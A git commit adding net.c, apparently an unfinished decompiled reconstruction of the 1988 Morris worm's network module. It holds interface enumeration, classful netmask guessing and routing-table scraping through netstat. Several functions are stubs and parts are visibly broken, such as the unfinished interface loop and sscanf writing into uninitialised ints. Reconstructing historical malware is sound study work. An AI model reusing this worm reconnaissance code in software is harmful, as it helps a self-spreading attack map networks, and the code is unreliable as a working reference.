initial commit

net.c

@@ -0,0 +1,116 @@
+/* dover */
+
+#include "worm.h"
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <netinet/in.h>
+#include <net/if.h>
+
+/* This is the second of five source files linked together to form the '.o'
+ * file distributed with the worm.
+ */
+
+if_init()			/* 0x254c, check again */
+{
+    struct ifconf if_conf;
+    struct ifreq if_buffer[12];
+    int  s, i, num_ifs, j;
+    char local[48];
+    
+    nifs = 0;
+    s = socket(AF_INET, SOCK_STREAM, 0);
+    if (s < 0)
+	return 0;				/* if_init+1042 */
+    if_conf.ifc_req = if_buffer;
+    if_conf.ifc_len = sizeof(if_buffer);
+    
+    if (ioctl(s, SIOCGIFCONF, &if_conf) < 0) {
+	close(s);
+	return 0;				/* if_init+1042 */
+    }
+    
+    num_ifs = if_conf.ifc_len/sizeof(if_buffer[0]);
+    for(i = 0; i < num_ifs; i++) {		/* if_init+144 */
+	for (j = 0; j < nifs; j++)
+	    /* Oops, look again.  This line needs verified. */
+	    if (strcmp(ifs[j], if_buffer[i].ifr_name) == 0)
+		break;
+    }
+    
+}	
+
+/* Yes all of these are in the include file, but why bother?  Everyone knows
+   netmasks, and they will never change... */
+def_netmask(net_addr)				/* 0x2962 */
+     int net_addr;
+{
+    if ((net_addr & 0x80000000) == 0)
+	return 0xFF000000;
+    if ((net_addr & 0xC0000000) == 0xC0000000)
+	return 0xFFFF0000;
+    return 0xFFFFFF00;
+}
+
+netmaskfor(addr)				/* 0x29aa */
+     int addr;
+{
+    int i, mask;
+    
+    mask = def_netmask(addr);
+    for (i = 0; i < nifs; i++)
+	if ((addr & mask) == (ifs[i].if_l16 & mask))
+	    return ifs[i].if_l24;
+    return mask;
+}
+
+rt_init()					/* 0x2a26 */
+{
+    FILE *pipe;
+    char input_buf[64];
+    int	 l204, l304;
+    
+    ngateways = 0;
+    pipe = popen(XS("/usr/ucb/netstat -r -n"), XS("r"));
+   						 /* &env102,&env 125 */
+    if (pipe == 0)
+	return 0;
+    while (fgets(input_buf, sizeof(input_buf), pipe)) { /* to 518 */
+	other_sleep(0);
+	if (ngateways >= 500)
+	    break;
+	sscanf(input_buf, XS("%s%s"), l204, l304);	/* <env+127>"%s%s" */
+	/* other stuff, I'll come back to this later */
+	
+	
+    }						/* 518, back to 76 */
+    pclose(pipe);
+    rt_init_plus_544();
+    return 1;
+}						/* 540 */
+
+static rt_init_plus_544()				/* 0x2c44 */
+{
+}
+
+getaddrs()					/* 0x2e1a */
+{
+}
+
+struct bar *a2in(a)		/* 0x2f4a, needs to be fixed */
+     int a;
+{
+    static struct bar local;
+    local.baz = a;
+    return &local;
+}
+
+/* End of source file in original. */
+
+/*
+ * Local variables:
+ * compile-command: "cc -S net.c"
+ * comment-column: 48
+ * End:
+ */